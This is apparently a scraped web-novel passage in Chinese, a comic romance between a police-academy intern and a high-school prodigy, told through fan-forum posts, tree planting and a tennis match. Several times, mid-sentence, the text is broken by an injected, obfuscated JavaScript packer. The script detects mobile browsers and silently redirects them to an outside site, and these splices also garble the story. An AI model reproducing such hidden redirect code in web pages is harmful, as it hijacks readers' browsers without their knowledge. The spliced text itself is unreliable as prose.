【评论3】「别是哪个暗恋陶神的,想靠潜伏接近吧?」 【评论4】「不会吧,这人是不是有点危险?」 罗乐:???我特喵的暗恋个鬼啊!不行!再待下去,他怕是要被这群信徒扒到身份证号! 罗乐又拿出拔枪的手速,找到“注销账号”选项。 【注销账号】→【确定】→【您的所有签到记录将被清空,投票记录将无法恢复】 【确认!】 完成一系列操作,罗乐瘫在座椅上,长长地舒了一口气。他缓缓地抬起头,看向窗外,早高峰人流匆匆,树梢的颜色已经从黄绿转向低饱和度鼠尾草色。 他,一个磨砺六年的警校准毕业生(优秀),刚刚冒头说了一句话,就差点被一群中学生反向侦查。 太凶险了,想不到这个超话还有点东西…… 他罗某人还能斗不过一群中学生?这案子必须查,他非得搞清楚「静电侠」究竟到底打的什么球。 中午吃饭,罗乐端着餐盘坐到刘力的旁边。 “我昨天看资料,发现毒/鼠强的半数致死量是0.13mg/kg,是已知毒性最强的商业杀鼠剂之一。”(注1) 刘力夹着豆腐的手顿时一僵。 “……?” “现在禁用了,你别紧张。”罗乐不紧不慢地补了一句,语气寻常得像在说这菜盐多了。 “我为什么要紧张?”刘力把豆腐放了回去,“你最近是不是压力太大了?” 罗乐:“没,就是在补刑侦生化,趁热复习,记得牢——” “那能不能别在吃饭的时候补!?”刘力瞪了他一眼,“要么闭嘴吃饭,要么就说点有用的!“ “那我说有用的。”罗乐诚恳地点头。 “参考酒精对大鼠的毒性测试,不考虑年龄、性别、耐受度,对60千克的成人来说,短时间内口服594 g (757 ml) 的酒精能造成一半的受测试者死亡。”(注2) 刘力:“说人话……” 罗乐:“短时间喝几瓶白酒,能让一半人喝挂。(60公斤组)” “你管这叫有用的?”刘力打断他,表情写满惊讶。 “当然有用,”罗乐一脸真诚,“提醒我们要少喝酒。” “我吃饭真的会有阴影!你到底受啥刺激了,李达坤怎么折磨你了?” “李达坤?”罗乐抬起头,“关他什么事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刘力默默把碗往前推了推,问:“你实习期到底还有多久结束?” “下个周五,咋了?”罗乐抬眼看他。 “没什么,”刘力叹了口气,“我就是想提前定个地儿,好给你送行。” * 晚上回到宿舍,屋里只亮着一盏台灯,罗乐复盘完今天新学的毒物知识,把书合上,靠着椅背望向窗外。 月亮蒙着一层薄雾,像被夜色调过色温,呈现出一种奇妙的银灰调调。 “雾织铂银……”话一出口,罗乐整个人都僵住了。 这不是他瞎编的颜色词,是陶律夏书包的限定色,粉丝在超话里高票选出的“陶神专属月光银”。 他居然对着月亮想起了高中生的书包? 这绝对是精神摧残未彻底清除的后遗症! 作为一名接受过系统训练的刑警,他很清楚,这种念头不能压——得顺,顺到根源,彻底清除! 思考片刻,罗乐便做出了决定,重新打开手机,熟练地敲进那串已被清空的关键词:#实验中学陶神超话# 注册页面弹出来时,手指稳稳地滑到性别选项上,毫不犹豫地选了“女”。 这不是羞耻—— 这是战术伪装,是专业意识,是对自己情绪状态的高清醒反扑。 过了一会,新号上线,昵称叫「静电小甜心」,头像是一只被P了星星眼的北长尾山雀,签名看着有点可耻——每天都被陶神的智慧电到! 作为一个人间清醒的卧底,他要做的,不是动不动就质疑自己,而是——获取一切有用的情报! 罗乐沉着冷静地滑入热帖区,像一名真正的网络特工,迅速进行关键词筛选: 日常签到√ 今日书包配色√ 陶神座位更新√ 陶神考试成绩对比分析√ …… 直到一条新帖成功击中他的神经末梢—— 【活动通知】陶神将于本周六上午参加“绿色校园、共护家园”志愿植树活动,地点为东坝公园东南片区,届时将亲自挖坑! 罗乐:“?” 不是,打球也就算了,怎么现在连挖树坑这种重体力活也要亲自上阵?高考都快进场了,他居然还活跃出镜,还到处出风头? 罗乐立即滑到了评论区—— 【评论1】「陶神不光脑子好,身体也好,上次搬实验器材,一个人扛三箱,学弟们都傻了!」 (罗乐内心os:三箱氢气球吗?) 【评论2】「求偶遇!我就住东坝边上,准备拿着树苗蹲他!」 【评论3】「文武双全!我宣布陶神就是地球的守护者!」 【评论4】「陶神还缺助手吗?搬水、打窝、撒肥料都行!」 【评论5】「楼上的姐妹别走错片场了,陶神不是去钓鱼。」(ID静电小甜心) ——【投票】《陶神能挖几个树坑?》 1. 10个陶神全能! 2. 5个文武双全 3. 3个娇系美人体力上限! 4. 1个陶神会不会直接坐地研究铁锹杠杆原理? 罗乐眼皮一跳,毫不犹豫地点了【1个】。 接着新一轮热评刷出: 【评论】:「那公园土质挺硬的,估计挖完半条命都没了,嘤嘤嘤……」 【评论】:「陶神体力好像不行,听说上次跑完800米,整个人快升天了。」 【评论】:「那谁来帮他?」 罗乐默默打开备忘录,迅速敲下几点—— 【任务:监视·静电侠植树任务】 【目标:围观其是否装×过猛导致翻车】 【策略:优雅潜伏,必要时伪装支援】 写完,他看了一会,忍不住给最后那句加了个括号(纯属战术判断,不掺私人情绪) 他不是去“公园偶遇”,他是要亲眼目睹——那个体力不行,还硬要装逼的臭小子现场大翻车! 15. 十坑劳模 周六,东坝公园,春意正浓。 植树活动正热火朝天地进行,学生们挽着袖子,一边发抖,一边挥锹,铁锹扎进地里半寸未动,混着泥味的鬼哭狼嚎飘在风里。 罗乐站在远处,嘴角挂着一抹“看戏”的笑,暗暗观察「静电侠」手持铁锹的身影。 姿态优美,表情专注,动作……惨不忍睹。 ——挥了一下,土没动。 ——换个角度,又挖偏了。 ——第三下,铁锹终于插进去了,又差点拔不出来。 罗乐看得额角抽动,这也太菜了,这小子不会真要靠一个人挖十个坑吧?怕是挖到高考那天都挖不完…… “挥锹的杠杆原理”是不是没用了,让你非得出这个风头!罗乐终于绷不住了,三步并作两步地走了过去。 罗乐:“你在这儿干嘛呢,给地鼠盖别墅呢?” 听见声音,陶律夏抬起头,一个人影映入眼帘——全副武装,包得像个怕见光的隐士。 “罗警官?你来这儿……”陶律夏有些意外。 “晨跑……”罗乐面不改色地扯谎。 陶律夏往他身上看了一眼,口罩、墨镜、蓝色亚麻衬衣、同色系牛仔裤…… “你穿成这样……晨跑?” “我花粉过敏!”罗乐语气笃定,他拉了拉口罩,做出一副“你不了解情况别瞎问”的表情。 “哦……”陶律夏点点头,像是接受了,但下一秒,他又补了句—— “三月底,东坝公园的过敏原主要是悬铃木的果毛,不是花粉,口罩挡不住空气传播的微绒,如果你是果毛过敏,应该戴护目镜。” 罗乐:“……” ——死小子!你是不是故意和我作对?我特喵的是怕被你那群信徒拍了照片传到超话! “你懂这么多,怎么不会挖坑!”罗乐气得一把扯掉口罩,抢过陶律夏手里的铁锨:“过来,我给你示范。” 他握着铁锨柄调了一下角度,沉声道:“你刚才就是手腕发力太多,重心没下去,这种土质,你得这样挖——” 陶律夏:“刚才?” 罗乐轻咳一声:“少废话,仔细看好……” 他手起锹落,脚下一蹬,“哐当”一下,土被翻起来,再潇洒地扬到一边,整个动作熟练得像个施工队带班。 “我自己来吧。”陶律夏往前走了一步,想接过铁锹。 罗乐怕被人抢了表演机会似的,把铁锹一收,抬眼瞧着陶律夏:“要挖几个?” “十个。” 罗乐“嗯”了一声,“既然碰上我了,咱们就算是社区共建。” 陶律夏问:“怎么共建?” “你挖一个,我挖九个。”说完,罗乐啪地插锹入地。 ——当然不是为了帮他。 ——是为了,坐实「静电侠」只能挖一个坑的「弱鸡人设」! 罗乐挥着铁锹,头也不抬地撵人:“你别杵这儿当监工,找个凉快地方待着,等会儿我叫你扶树苗。” 陶律夏没动…… 罗乐察觉到他还站在原地,正要张嘴催,抬头撞上了少年的视线——他站在阳光下,端着一张好看得不讲道理的脸。 超话信徒荼毒太深,此时一串神颜区的彩虹屁从空中飘过,冷白皮、星星眼、睫毛精……反正就是那种可以发呆看上一天的类型,如果他不说话的话。 罗乐把眼神挪开,语气抬高了半度:“去买两根冰棍,绿豆味儿的。” “我不吃冰棍。”「静电侠」淡淡地开口。 “让你吃了吗?我要吃两根!”罗乐没好气道。 十分钟后—— 陶律夏拎着运动饮料回来,面无表情地递了过去:“你出了很多汗,电解质流失严重,应该补钙和钾。” 罗乐接过瓶子,刚拧开,余光一瞥,发现「静电侠」自己拿的是——巧克力奶。 “……那你为什么喝巧克力奶?”他没忍住问。 “巧克力奶含糖量高,可以缓解大脑疲劳。”说完陶律夏插上吸管,优雅地吸了一口,像极了刚写完三套卷子的理综第一名在中场休息时「适量摄糖」。 罗乐衬衣湿了一半,裤脚全是泥点,不过,即使忽略掉这对比鲜明的画风,也能从食物补给上看出:谁是劳工,谁是管理员。 “剧烈劳动后吃冰棍可能会胃痉挛,晚一点看情况再请你吃。”管理员慢条斯理地补充。 请我吃?谁稀罕!罗乐一口气灌完饮料,一言不发地拎起铁锹,走向下一个坑点。 铁锹落地的声音一下一下,土坑一个个成型。热风拂过,阳光倾洒,草屑和细小的花絮飘在风里。两个人一左一右,一个弯腰培土,一个扶着树苗,影子时不时在泥地交错相叠。 陶律夏扶着树苗,眼角余光却总是不自觉地扫向身边的人——眉骨硬朗,眼睛漂亮,双眼皮的弧度浅而自然,瞳色很深,嘴唇形状极好。 不说话时,禁欲清冷,一开口,却又痞又燥,这人到底是哪一派的?就在陶律夏走神的间隙,树苗晃了一下。 “你到底,能不能扶稳点?”劳工挥着铁锹,斜眼瞄过去。 管理员骤然惊醒,慌忙扶正,条件反射般地责备道:“是你培得太松了!” “哟……你这是扶不住,开始怪土了?”罗乐笑道。 “我怪的是你!”陶律夏别开脸。 声音不大,但带着点隐约的羞恼,罗乐一听这味儿,整个人精神百倍。他一时间忘了回怼,闷笑一声:“好,下次挖坑前,我考个园林工程师证,再把《土壤学》一块卷了。” 陶律夏被噎了一下:“你……你最好再卷个骨科!” 罗乐嗤笑一声:“骨科不太对吧,我又没摔,顶多肌肉拉伤。” “你是不是平时不运动?所以才分不清骨科和拉伤?”罗乐一边压土,一边不咸不淡地问话。 陶律夏低头扶着树苗一声不吭,反正不打算理人。 看到这副表情,罗乐心下有了判断:「静电侠」不爱运动,难怪超话没人爆料这小子打什么球,果然是个体育绝缘体。他心里笑笑,继续培土。 新栽的小树一棵棵立起来,远处铁锹挖地的声音也渐渐稀了。 罗乐检查完战果,抖掉铁锹上附着的泥渣,扛起工具,往管理点走去,浑身透着“任务完成、功成身退”的气势。 “你会打网球吗?”陶律夏跟了上来。 “会。”罗乐脚步微顿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939304|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “下周末一起打球吧,打完我请你吃东西,就当是今天的答谢。” 罗乐哼了一声,语气里带着莫名的拧巴:“为什么不现在请?” “我有点累了,想回去休息。”陶律夏语气坦然,没有一丝做作。 你累了?罗乐转过头看他,脸上写满了震惊: ——今天这十个坑都是谁挖的? ——谁培土、浇水、还要前期除草? ——谁弄湿了后背,喜提满身泥点? ——谁被「胃痉挛」警告,连根冰棍都没吃上? ——谁顶着热风干活,还被迫听了一节《微生物的春天》公开课? 怎么到最后,是你累了?! 翻滚的问号像是一团毛线球在罗乐脑子里乱撞,绕了一圈又一圈,没找到头,却莫名滚出另外一种东西——不解、混乱、麻烦,却……有点甜。 春天的风暖洋洋的,天上的云像一团团揉皱的棉花糖。草地上,社恐的小狗被几个小朋友围追着滚成了个团,耳朵一抖一抖地炸毛逃窜。 满腹的疑问终究没说出口,罗乐把铁锹放进工具车,转头道:“好啊,下周见。” “下周见……”陶律夏应道,他语气很轻,像刚刚从嘴里落下,就被风吹散了…… * 离开东坝公园后,陶律夏回到家,洗了澡,换上干净衣服,用弱风吹干头发。然后,就像每一个普通周末的下午一样,听歌、写卷子,看推理小说,最后打开《动物森友会》,在岛上抓了半小时虫子。 岛上的光线和现实世界一同暗了下去,天边和海面一片深蓝。他打开游戏邮箱,“妈妈”寄来一只手作的靠垫,图案意外得可爱。 陶律夏把靠垫摆在地毯边沿,合上了游戏机。 起身,拉开冰箱门扫了一眼,柚子口味的酒刚好没了。他停顿了一会,也没换成别的,关上冰箱门,换鞋出门。 现在是20:57,九点后,门口的便利店就只剩一个夜班店员,可以趁她给别人结账时,在自动售卖机上买酒。 自动门“叮”一声响,陶律夏走进店里,像个计划周密的间谍,从货架上拿起两瓶果酒。 走过冰柜时,脚步不自觉地慢了,不合理的延迟,超过五秒钟。 装满雪糕、冰棍和冰淇淋的冷柜,他一向不会多看。可今天,目光像是被什么牵住,在那片堆放得毫无逻辑的视觉刺激中,精准寻到了不起眼的一抹——淡绿色。 “去买两根冰棍!绿豆味儿的!” 已经过去接近十个小时,却依然留下了一点残响。与之联动的画面信息同步跳出:土坑、树苗、汗湿的衬衣、草地上翻滚的小狗…… 陶律夏拉开冷柜门,拿出一根绿豆味的冰棍,扫码、结账,慢慢地撕开了包装。 第一次吃冰棍。 冰凉的气息刚入口腔,舌尖就捕捉到一丝难以归类的味道。 他轻轻地咬了一口,绿豆的颗粒在舌尖上摩擦,粗糙里包着绵软,带着豆香的甜味干干净净地化在嘴里。 好奇怪啊—— 细小、不起眼,甚至还是冰的,可就是这样一点点的甜头,竟然也能让那些原本打算靠酒精压抑的东西,变得轻了一点。 16. 网球王子 晚上十一点,罗乐颤巍巍地打开手机,经过大半天的心理建设,他终于鼓起勇气,准备直面自己上墙的准备,开始爬楼看八卦。 #实验中学陶神超话# 【热帖】《东坝公园陶神抓拍合集!神颜+劳模上线!》 【图片1】陶神手握铁锹,身形飘逸,站姿优雅; 【图片2】陶神蹲守树苗,皱眉沉思,神情专注; 【图片3】陶神拎壶浇水,动作温柔,氛围感拉满: 【图片4】陶神收工归队,逆光长腿,步履从容…… 罗乐熟门熟路地滑到评论区: 【热评1】陶神好像从来不主动说话,你们看他,就像一棵站在春天里的树…… 【热评2】不发一语,但沉默陪伴真的太杀我了! 【热评3】陶神就是我们“冷感天菜”的门面担当。 罗乐:“……” 他沉默?他还沉默! 你们知道他今天说了多少话吗? 讲完《微生物的春天》又顺嘴开了半节化学先导课,你们要不要亲耳听听他怎么分析“蚯蚓的表皮黏液与土壤湿度的关系”! 罗乐往下翻图,越翻越不对劲…… 照片怎么全是「静电侠」的滤镜+特写! 他呢? 他——去哪了?! 罗乐翻来翻去地找,终于在模糊背景里找到了自己的半截袖子——微卷、带泥、满是奉献感,完美诠释什么叫:凄惨背景板。 他盯着手机,精神状态已逐渐扭曲…… 【图片13】《陶神扶树照的正确打开方式,请搭配你的心跳声》 【热评1】:「我发现后面好像有个男的在帮忙,是谁啊?」 【热评2】:「哈哈哈哈哈,那个袖子太敬业了,实名感谢苦力!」 【热评3】:「有人说是东坝社区志愿者临时喊来的民工哥哥。」 【热评4】:「应该是工作人员吧?陶神旁边总会有路人甲,习惯了。」 【热评5】:「隔壁楼说他是园林局来支援的!有野生工程证!」 罗乐脸色逐渐铁青,一把点进相关互动话题: 【陶神身边那个挖坑男是谁?】 1. 苦力志愿者 2. 热心路人 3. 施工队外援 4. 暗恋陶神主动帮忙但不敢告白的社恐学长(目前得票率65%) 罗乐脸都绿了,社恐? 是谁!谁给他盖的这身人设?! 他气得发疯,猛戳举报按钮—— 【举报理由】:恶意揣测他人身份、引导性投票、侵犯肖像权(袖子也算)、精神污染…… 但系统毫不留情地弹出提示:【您的账号等级不足,无法发起举报,请提升粉丝等级】 “特喵的!还得升等级才能举报?” 罗乐咬着牙,一边截图存证,一边咬牙切齿:“等老子转岗网安,第一件事就是要端了你们这个毒唯组织的服务器!” 包括楼主在内的所有投票账号和热评用户IP!全部!一锅端了! 他冒着被偷拍的风险前去“监工”,战术性帮忙,被当成护林员、地球守护者也就算了,怎么能靠一条袖子被毒唯投票定位成「社恐学长」?! 还污蔑他暗恋?! 他!京北最刚警察(之一),竟然沦落至此!太伤自尊了! 暂时收拾不了这群脑补狂魔,那就——得找正主讨回来! “咔哒!”宿舍的门被人推开,林岘哼着歌晃了进来。 “周六的夜晚是炸鸡和可乐啤酒的命运交响曲,谁来和我共赴热量之巅——” 话音未落,罗乐就冷不丁地夺走一瓶啤酒,他一口没喝,咬牙问:“你来的正好,有没有什么办法一周内……把网球水平提升到——” 他顿了顿,憋出六个字:“职业假象级别。” 林岘从柜子里拿出一只红酒杯,仪式感满满地给自己倒了杯可乐,慢悠悠地抬眼:“你什么时候变得这么激进了?” 罗乐面色铁青,眉心拧得能夹死一只蚊子:“别管,快说!有没有速成的办法。” 林岘一愣,狐疑地打量他。 罗乐NTRP起码4.0,体能属于警校怪物级别,网球技术不能说吊打一片,但在业余里也算可以横着走吧?他怎么可能露出这种“考前晕场”的表情?还速成? 林岘眼神一亮,八卦之魂燃到巅峰:“你这是奔着赢球去的?还是奔着赢人去的? “都要。”罗乐脱口而出,随即又急忙补救:“我是说赢球……主要是球。” 林岘抿了一口可乐,笑了,他也不戳破,托着下巴开始悠哉分析:“首先,拍子得换成Wilson Pro Staff RF97,费德勒同款,气势先拿下。” 然后,衣服走‘干净贵’路线,上身白色速干T恤,下身配浅灰或者白色网球短裤,再搭一双亮白鞋。” “发带呢,就用纳达尔同款,搭配护腕,假装比赛状态。” “护腕有什么用?”罗乐一脸狐疑。 “+20分的气势!开场先慢悠悠缠护腕,”林岘比划道:“眼神一定要淡漠,缠完再冲着对手轻轻一拉——就赢一半了!” 听到这儿,罗乐终于找回点理智,护腕要是有用,那他怎么不带上毒唯认证的「劳模袖子」,去搞搞对手心态。 “你能不能说点实用的?”罗乐暴躁地拉开椅子坐下,“发球怎么提速?底线怎么抢攻?你给我点实际方案!” “行行行——”林岘优雅地端起可乐,神采飞扬,“有用的来了!你一定要学会‘转身慢动作’!哪怕把球打飞,也得转——这叫自信风采,是精神胜利大法!” “我打飞了还转个屁!”罗乐愤怒拍桌,跌回床上,姓林的这些损招快和毒唯有一拼了…… 林岘吃着炸鸡,斜眼看着罗乐在床上思考人生。 这哥们平时自信得近乎嚣张,哪怕摔倒了,都能嘴硬到底,今天居然眉头紧锁、状态低迷,怎么看,怎么不对劲。 林岘:“你对象是从网球省队转去踢足球的吗?你谈个恋爱,怎么和打仗似的?” “哪来的对象?谈什么恋爱!你别乱说!而且那不是足球,是足球烯。”罗乐又从床上坐起来,仰头灌了口啤酒。 他抓着铝罐认真分析:“你说,那小孩要是控场型怎么办?步伐快、线路飘——那我就是被玩死的命。” “万一……”罗乐神色一变,仿佛看见了什么幻象,“万一他是天赋型怎么办?” “天赋型?什么天赋型,少年网球王子?”林岘啃着鸡翅。 「网球王子」四个字算是触发了开关,罗乐眼前骤然展开超现实画面: 网球飞旋而起,擦网、贴边、落地、弹飞!网球王子淡定抬手:“你要是打不到,我可以再发一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林岘站在场边沉默了一会,表情一片空白,像在掂量这人是否已经疯魔入脑。 “兄弟,”他走到跟前,晃了晃手里的饮料,语气里带着一种「这人不救不行」的淡定悲悯,“你是来练球技,还是在锻炼抗打击能力?” 罗乐吓了一跳,转身一瘸一拐地跳到了休息椅上,疑惑道:“你怎么来了?“ “我不来,是不是就得等你练废一条腿?”林岘把冰饮塞到他手里,“你这是打算把自己练瘸了,好找机会临阵脱逃?” 罗乐接过饮料,咕咚咕咚灌了大半瓶,瘫坐到长椅上,表情复杂:“……那我不如直接在现场表演脚崴。” “别练了哥们……”林岘拍了拍罗乐的肩膀,“你就算练到后半夜,他穿着白T白裤白鞋白腕,睫毛颤颤在你面前一站—— 啪一下,你当场被美貌击穿,心率破百,技术清零。” “闭嘴!”罗乐炸毛,蹭地跳起来,“我跟你说多少次了!这是尊严之战!” 林岘一边笑,一边摇头:“你努力的方向错了,拼什么球技呢,如果真打输了……” “我说了别提「输」字!”罗乐立刻竖起手。 “你听我说嘛。”林岘一本正经道:“你到时候就走上去,握住他手,说——‘你是第一个打败我的人’。” “你少胡编这些悲情剧本!”罗乐气得抡起球拍,“我要打他正手斜线!用球技让他彻底闭嘴!” 17. 高危魅力 市属网球中心,周日早十点整—— 罗乐提前二十分钟到场,严阵以待像要参加警察系统的实战大比武。 热身流程走完三遍,肌肉拉伸得堪比体能考核前夕,他双手交握,低头深吸一口气,再慢慢吐出——“稳定控球、掌握节奏、别让对方主导……” 听见有脚步声靠近,罗乐抬起头—— 陶律夏背着一只单肩网球包,白T恤,白短裤,白鞋,白护腕,清爽的‘干净贵’路线,眼神淡定,步伐从容,活脱脱一个青少年国际巡回赛的种子选手。 罗乐眼神下滑,看了眼自己,灰蓝配色的实用风运动装,热身完出了一身汗,像是刚下夜班的青少年国际巡回赛的保洁队替补。 “种子选手”落落大方地走近站定,朝罗乐点了点头:“早。” 罗乐被「敌方气势」压制得都想临阵脱逃,勉强嘴里挤出两个字——“早啊。” 陶律夏把包放在长椅上,拉开拉链,拿出网球拍——Wilson Pro Staff RF97。 果然是,费德勒同款…… 林岘推荐的搞心态「装逼套餐」,被他几乎一个不落地全配齐了,就差出场BGM和头带。 “那什么……”罗乐虚弱地指了指自己的头发,发出了最后的疑问:“你怎么没戴个头带?那样式的……” 陶律夏整理球拍的手停了一瞬,抬眼看他:“头带不防晒,我觉得戴帽子更实用,怎么了?” “没什么……”罗乐转头朝端线走去,趁背过身的功夫调整完表情。 他深吸了一口气,回过身,朝陶律夏抬了抬下巴:“怎么打?先随便发几个热热身?” “我来发吗?”陶律夏优雅地甩了甩手腕,声音轻慢,“不过,我发球不太行哦。” “……你说什么?”罗乐愣住。 “我还在学,”陶律夏神色淡定,“抛球的高度和平衡感还没掌握好。” 罗乐:“……” 这句话的震撼程度,相当于你为高考数学拼命冲刺一个月,结果考场上发下来一份小学生应用题,还附带涂色题。 “你学网球多久了?”罗乐艰难地问了一遍。 陶律夏轻描淡写道:“两个月了。” “……” 他这些天到底在卷什么? 为谁苦练前场截击、边线救球,把自己打成半残?为谁做了七晚战术模拟演练+观摩公开赛录像,还差点突发肌腱炎? 甚至,今天早晨他还刷了一遍《对抗快攻型控场选手的十种战术应变》? 结果,对面竟然是个发球都不太会的小菜鸟? 罗乐眼前发黑,脑子里传来“咔哒”一声,世界仿佛裂开了一个深坑,自己直挺挺地掉了进去……而“罪魁祸首”本人看起来毫无自觉,甚至还有点认真。 陶律夏站定,低头看了眼手里的球,接着……抛球,挥拍。 “咚!”球直直地砸在自家半场,像一只扑街的肥鸽子,噗通一声掉在网前。 一发失误很正常……罗乐安慰自己。 第二球——直飞出界; 第三球——擦网弹回; 第四球——挥拍没打到球…… 陶律夏静静地把球捡回来,有些困扰道:“控制力还是不太稳定。” 很稳定啊,没一次发成功!罗乐咬着牙,尽力保持仅存的理智:“你到底……练过几次?” “六次,每次两小时。”陶律夏坦然道,“没有时间系统练,基本都是陪练带着打几下。” 罗乐站在原地,沉默了一分钟。 人生第一次经历如此落差,其凶残水平——相当于从温网预选赛直线跌落幼儿园春季运动会。 他已经开始思考一个问题了—— 自己,要不要立刻放下球拍,买一团棉花糖请「静电侠」吃了,然后回家闭门反省这七天的疯魔行为。 “要不你来?我试试接你的球。”陶律夏眼睫轻颤,语气十分真诚。 算了,来都来了…… 罗乐挥拍发球,球精准飞过网面,打在对方底线边角,弹起来后,旋转着滚出场外。 陶律夏连抬拍的时间都没有,只来得及眼睛跟了一下,看着它飞了过去。 “……这个,是上旋球吗?”陶律夏转过身问。 “你别分析了行不行?”罗乐收起球拍,“你能——先接球吗?” “但我想知道你的发球轨迹。” “我特!喵的发的不是导弹!”罗乐差点破音。 陶律夏点点头,掏出手机,低头飞快地打了两行字。 “你这又是在干嘛?”罗乐眼角抽动。 “我刚才没反应过来,所以想复盘一下你的发球落点和我的站位问题。”陶律夏一本正经地说。 罗乐:“你到底是来打网球,还是准备写论文冲科研竞赛?!” 陶律夏低头思考了一会,道:“你发的球有点像我陪练说的‘切削发球’,但你比他发得狠,接的时候我可能需要……” “你是不是还得算一下风阻、地心引力和球旋转的角速度?!”罗乐彻底爆炸,“我——是来陪你做实验的吗?!!” 说完,他背过身,抬手掩面,一动不动地站在球场边。 周围陷入一片沉默…… 小鬼到底哪里惹他了??他气个什么劲?真要说错,也只是他罗某人太上头,一路自卷从地心到地表。 过了好一会儿,他走回陶律夏面前,语气闷闷地开口:“站好点。” “哦……”陶律夏下意识站直。 “别僵着!腿放松。”罗乐走到身后,拍了拍他手肘,“手腕也别绷得太死。” 他从陶律夏手里抽过球拍,手指搭在拍柄上比划了一下,又重新塞回去:“握拍别握那么死,手指留点缝隙,你又不是在拿实验课上……那什么玻璃分液漏斗。” 陶律夏乖乖照做,一点都不矫情,罗乐说一句,他就改一处,一脸淡定地配合修正姿势。 罗乐看着他的动作,还是觉得别扭,便走上前伸手覆在少年的指背,轻轻往外带了带,带着他重新握住球拍。 “好了。”罗乐低声说完,慢慢松手,后退几步。他抛起一颗球,慢速发了过去:“接这个,碰到就行。” “好的。” 啪—— 球飞出,又落空。 陶律夏低头看着拍面,若有所思:“刚才还是时机慢了。” 罗乐:“没关系,再来。” 碰撞声此起彼伏,打了一会,陶律夏停下来,抬头问:“刚刚的第三十七球,我的重心是不是太靠前了?” “对……”罗乐的眼神中浮出一点欣慰,“你现在终于会问正常的问题了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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更衣室里没什么人,热气蒸腾的淡香漂浮在空气里,湿黏,又微微发闷。 “你每次打网球都要带着药箱吗?”罗乐扫了眼陶律夏放在长凳上的背包,他边说边抬手把T恤下摆卷过头顶。 陶律夏刚抬头,就撞见他脱衣的这一幕—— 肌肉不是健身房里练出来的夸张块头,而是“警校出产、实战成品”的耐操性体格。 ——体脂率估测14%左右 ——肩背比例极佳 ——胸大肌发达 ——腹肌,一二三四……一共八块 陶律夏被眼前的高能画面卡了一下,大脑短暂宕机,心跳突然加速,理智拉响了警报:“该撤回视线。” 但身体没动。 这个更衣室别的不行,白炽灯倒是格外卖力,光从天花板直直泻下,毫无遮掩地落在罗乐身上,他整个人都散发着一种自然的……性感。 不该看的…… 但严格来说,也不能算“看”,只是肉眼识别的自动捕捉,不具备感情判断。 陶律夏深吸了一口气,将毛巾胡乱塞进洗漱袋,结果手一滑,沐浴乳“啪”一声砸到地上,他一把抓起,就往淋浴间走。 刚踏出两步,身后传来罗乐的声音:“喂,你穿着衣服……去洗澡吗?” 陶律夏脚步一滞,整肃站直,后背莫名发烫,一股燥热直冲脸颊。 该死,他竟然忘了换衣服…… “我怕你抢我最喜欢的那个莲蓬头。”陶律夏冷冷回道,头也不回地走进了淋浴间。 罗乐:“……” 怎么还有洗澡都要抢先手的男人啊…… 18. 学神宕机 水流哗啦啦地从头顶冲下来,热气氤氲。陶律夏闭上眼,伸手撑住冰凉的玻璃墙靠了上去…… 一分钟过去,他依旧没有动。 刚才的那一幕,突破了视神经的负荷,在他大脑里自动循环播放,还是高清高帧的慢放—— ——身高大概在188cm,肩宽约48-50cm,骨架比例接近理想曲线; ——背部线条对称,肩胛骨移动轨迹干净,核心力量稳定; ——臂围预估35cm上下,力气很大——啊不,是肌肉质量优秀。 从结构上看,这种身体非常适合打网球、游泳……或者抱人。 他猛地睁开眼,连忙抬手将水温调低两档。 自己居然在洗澡时,在脑内自动建模对方的身材参数?这不是科研,这是变态! 陶律夏眼神空茫地盯着玻璃上的雾气,用手指缓缓写下高斯函数试图解压。 写完的一瞬,他短暂地冷静了三秒,然后,抬手把它擦掉。 没用…… 他现在一点也不稳定! 主程序受干扰!情绪系统异常!他炸毛了、抖了,像一颗静电球,涌动着无处释放的电荷,来回爆炸。 现在,必须要让这股莫名其妙、无法解析的电势,有个地方快点流走。让他的脑子,别再卡在别人腹肌、背阔肌、胸大肌的清晰边缘线条里无限循环!! * 洗完澡,罗乐十分难得的在镜子前磨蹭了十分钟。他把洗漱台上的瓶瓶罐罐轮番打开,往脸上抹了一遍,又慢条斯理地摆弄起头发。 后脑勺有几缕发丝不安分地翘着,他压了压,又用水抹平,最后抓起吹风机,对着“顽固分子”一顿猛吹。 吹完头发,他后退半步,仔细审视镜子里的自己——干净,利落,看起来像是“偶然帅到了”! 罗乐心满意足地收手,清了清嗓子,冲着浴室喊了一声:“小陶,你没有睡着吧?我在外面等你!” 没人回应…… 罗乐也不着急,他慢悠悠地走出更衣室,靠在门口的墙上,水泥墙体被太阳晒得发烫,贴得后背暖暖的。 四月的天,热得像夏天。 球场上传来网球的撞击声——砰、砰、砰,像谁的心跳。就在他神游到不知道哪里的时候,门“咔哒”一声开了。 陶律夏背着包走了出来,他换了件浅黄色的速干T恤,搭了条浅绿色的束脚运动裤,恰到好处地显露出修长的身形。 阳光洒在他身上,颜色温软又明亮,像刚从果园里跑出来的柚子精,清新,活泼,带着点不经意的甜气。罗乐忍不住笑了笑,从墙上轻轻一弹,跟了上去。 “你喷香水了?”他随口问道。 “没有。”陶律夏答得简洁。 “别装,我鼻子没坏好吧!”罗乐凑近了一点。 陶律夏往前快走了两步,拉开一点距离:“祖·玛珑的沐浴液。” 